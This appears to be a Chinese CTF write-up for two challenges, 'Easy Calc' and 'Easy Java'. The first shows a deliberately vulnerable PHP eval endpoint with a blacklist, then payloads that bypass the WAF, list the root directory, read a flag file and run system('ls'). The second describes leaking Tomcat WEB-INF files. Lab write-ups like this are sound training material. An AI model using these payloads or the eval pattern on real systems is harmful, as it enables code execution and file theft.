Easy Calc

cacl.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
error_reporting(0);
if(!isset($_GET['num'])){
show_source(__FILE__);
}else{
$str = $_GET['num'];
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $str)) {
die("what are you want to do?");
}
}
eval('echo '.$str.';');
}
?>

image-20200227234848709

存在Waf,尝试用php字符串解析特性绕过

php字符串解析特性

输入 输出
%20news_id news_id
news%20id news_id
news%00id news
news[id news_id
news.id news_id
news+id news_id
news_id%20 news_id_

image-20200228004923936

绕过后发现禁用了一些函数

image-20200227234503891

方法一:

利用一些php的文件操作函数:

  • getcwd — 取得当前工作目录
  • dirname(string $path) — 返回 path 的父目录
  • scandir — 列出指定路径中的文件和目录

payload1:

chr(47)绕过黑名单中的/,看一下根目录下有啥?%20num=print_r(scandir(chr(47)))

1
Array ( [0] => . [1] => .. [2] => .dockerenv [3] => bin [4] => boot [5] => dev [6] => etc [7] => f1agg [8] => home [9] => lib [10] => lib64 [11] => media [12] => mnt [13] => opt [14] => proc [15] => root [16] => run [17] => sbin [18] => srv [19] => start.sh [20] => sys [21] => tmp [22] => usr [23] => var ) 1

payload2:? num=var_dump(scandir(dirname(dirname(dirname(getcwd())))));

在根目录发现flag的位置/f1agg
由于

1
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^']; 

过滤了/,‘等字符不能够直接var_dump(file_get_contents(’/f1agg’))所以想到了利用编码来绕过。var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))可以得到flag.

方法二:

这个计算器特写向国赛初赛的一道题,这个可以采用国赛拿到题目的做法来做题。

base_convert函数可以在任意进制之间转换数字,可以返回任意字母,需要注意它无法返回_ *等特殊字符

img

1
2
3
4
5
6
7
8
9
echo base_convert('system',36,10);
1751504350
echo base_convert('1751504350',10,36);
system
echo base_convert('ls',36,10);
784
echo base_convert('784',10,36);
ls

? num=base_convert(1751504350,10,36)(base_convert(784,10,36))可以成功执行ls;

Easy_ Java

image-20200309074158002

fuzz了一下应该是没有注入点,点击help

image-20200309075513240

这里get方式提交只返回这种页面,得用POST方式提交(留个坑以后填)。

image-20200309075900809

测试的时候发现这是tomcat服务器,后台是java编写

image-20200309080035729

所以看一下有没有相关的源码泄漏

1
2
3
4
5
/WEB-INF/web.xml:Web应用程序配置文件,描述了 servlet 和其他的应用组件配置及命名规则。
/WEB-INF/classes/:含了站点所有用的 class 文件,包括 servlet class 和非servlet class,他们不能包含在 .jar文件中
/WEB-INF/lib/:存放web应用需要的各种JAR文件,放置仅在这个应用中要求使用的jar文件,如数据库驱动jar文件
/WEB-INF/src/:源码目录,按照包名结构放置各个java文件。
/WEB-INF/database.properties:数据库配置文件

确实有/WEB-INF/web.xml ,在里面发现了FlagController这个类,应该是控制flag的,尝试下载,

1
2
3
4
5
6
<servlet>
<servlet-name>FlagController</servlet-name>
<servlet-class>com.wm.ctf.FlagController</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>FlagController</servlet-name>

要用tomcat项目存放路径来下载/WEB-INF/classes/com/wm/ctf/FlagController.class

strings _WEB-INF_classes_com_wm_ctf_FlagController.class

image-20200309083447260